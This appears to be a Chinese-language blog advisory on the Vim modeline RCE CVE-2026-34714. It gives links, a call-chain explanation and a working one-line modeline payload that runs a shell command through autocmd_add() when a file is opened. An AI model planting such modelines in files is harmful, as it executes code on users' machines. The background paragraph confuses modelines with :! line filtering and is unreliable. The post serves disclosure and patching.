CVE-2026-34714: Vim 远程代码执行(RCE)漏洞
2026年5月17日大约 2 分钟
立即升级到 9.2.0276 + 并关闭 modeline 模块。 (修复提交:664701e)
信息整理:
- github security 披露: https://github.com/vim/vim/security/advisories/GHSA-2gmj-rpqf-pxvh
- 漏洞披露: https://nvd.nist.gov/vuln/detail/CVE-2026-34714
- https://www.openwall.com/lists/oss-security/2026/03/30/3
- https://app.opencve.io/cve/CVE-2026-34714
POC:
- https://github.com/califio/publications/blob/main/MADBugs/vim-vs-emacs-vs-claude/vim-claude-prompts.txt
- 演示: https://www.youtube.com/watch?v=zMpn9ICagdE
- 演示: https://github.com/gelusus/wxvl/blob/main/doc/2026-03/【高危漏洞预警】vim存在RCE漏洞(CVE-2026-34714).md
背景: vim有一个贴心的功能叫modeline模块,它可以让vim在界面中通过shift+v选中行,让后通过输入:!xxxxx将选中的字符串作为xxxxx命令的输入执行xxxxx命令。 通过/* vim: ... */方式写在文本里,可以让这个过程自动执行,用来处理文本高亮、格式化事务,如 :!jq (将选中行 json beautify) 和 :!jq -c (将选中行 json uglify)。
调用链: vim允许用户在文件中放入特定函数对文本显示进行预处理,处理函数都是在安全模式沙箱中运行的。 但 Hung Nguyen 发现,在vim源码的 tabpanel 函数没有 P_ML 安全模式标识位标识,导致vim解析modeline进行安全过滤时认为 tabpanel 是一个安全合法的普通字符串而没有进行初步校验就进行了解析。 接下来进入表达式求值阶段,虽然求值过程是在沙盒中完成的(如果直接执行 autocmd: 这个执行命令的话,vim会因为没有 EX_SBOXOK 标识而直接拦截),但是vim提供了 autocmd_add() 调用函数来操作自动化命令。在 src/autocmd.c 中的 autocmd_add() 并没有进行 check_secure 来验证函数安全属性,这导致恶意命令会被加载如内存中等待特定指令执行。
同一组漏洞还有
- CVE-2026-34982 —— 在
complete和guitabtooltip选项中未加上P_MLE标识- 28417 —— netrw命令注入,恶意URL
- 35177 —— zip路径遍历,恶意Zip包
- 28420 —— 终端缓冲区溢出,特殊字符
攻击语句:
/* vim:
set showtabpanel=2 ---------- 执行环境维持:总是显示标签,触发持续环境
tabpanel=%{%autocmd_add([{
'event':\:'SafeStateAgain', ---------- 触发执行操作:安全状态信号,VIM进入空闲安全状态时持续触发rce,保证文本在打开时自动触发。可选:[SafeStateAgain, CursorHold, ...]
'pattern'\:'*',
'cmd'\:'!id>/tmp/calif-vim-rce-poc', ---------- 执行恶意指令
'once'\:1}])%}: */
💡需要要把上述语句写成一行才生效
- ❗生效 —— VIM - Vi IMproved 9.1 (2024 Jan 02, compiled Jul 16 2025 00:00:00) | fedora 42 - 6.15.7-200.fc42.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 17 17:57:16 UTC 2025 x86_64 GNU/Linux
- ✅不生效 —— VIM - Vi IMproved 9.1 (2024 Jan 02) | openSUSE Leap - Linux 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux